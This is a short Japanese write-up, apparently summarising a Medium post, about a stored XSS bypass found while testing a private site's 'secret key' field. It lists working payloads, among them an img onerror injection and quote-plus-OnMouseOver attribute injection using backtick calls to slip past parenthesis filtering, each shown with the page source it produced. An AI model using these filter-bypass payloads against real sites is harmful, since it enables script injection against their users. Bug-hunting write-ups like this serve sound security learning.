Hello there, ('ω')ノ
保存された XSS バイパスの話を。
脆弱性:
保存型XSS
記事:
https://medium.com/@prial261/story-of-a-stored-xss-bypass-26e6659f807b
今回はプライベート サイトをテストしていましたが、そのサイトではユーザが
個人情報を追加でき。
そこに秘密キーという名前の入力があることに気付き。
これにより、ユーザは支払いを処理し、トランザクション情報をアプリケーションに
保存できるようになって。
そこで、通常のペイロードを入力して。
“><img src=x onerror=prompt(document.domain)>
そしてそれはフィルタリングされ、ページのソースは次のようになり。
<input type="text" id="****" name="****" value=""><img img" class="form-control" rel="gp" data-size="20" data-character-set="a-z,A-Z,0-9">
したがって、ソースから私はそれを理解していて。
1.引用符 (") および大なり記号 (>) が適切にフィルタリングされず。
2.悪意のあるタグはフィルタリングされて。
その <img> は img img になり。
したがって、JavaScript を実行するには 2 つの方法があり。
1 つ目は、何らかの方法で小なり (<) フィルターをバイパスし、
2 つ目は、JavaScript を実行するための悪意のある HTML 属性を追加していて。
小なり(<)文字をバイパスするために多くの方法を試しましたが、できず。
そこで、Malicious HTML Attributes を追加する 2 番目の方法で処理して。
そこで、ペイロードの下に入力して。
“ OnMouseOver=prompt(1)
応答は次のとおりで。
<input type="text" id="****" name="****" value="" OnMouseOver=prompt(" class="form-control" rel="gp" data-size="20" data-character-set="a-z,A-Z,0-9">
そのため、HTML 属性を追加できましたが、ブラケットは適切に
フィルタリングされていて。
そこで、ペイロードの下に入力して。
“ OnMouseOver=prompt`1`
応答は次のとおりで。
<input type="text" id="****" name="****" value="" OnMouseOver=prompt`1`" class="form-control" rel="gp" data-size="20" data-character-set="a-z,A-Z,0-9">
しかし、コードは実行されず。
よく見てみると、ペイロードには引用符 (") が必要なだけで。
“ OnMouseOver=”prompt`1`
応答は次のとおりで。
<input type="text" id="ipn_secret_keygen" name="ipn_secret_keygen" value=""OnMouseOver="alert`1`" class="form-control" rel="gp" data-size="20" data-character-set="a-z,A-Z,0-9">
ここで、マウス ポインタを入力上に置き、OnMouseOver イベントによって
XSS ポップアップが実行されて。
Best regards, (^^ゞ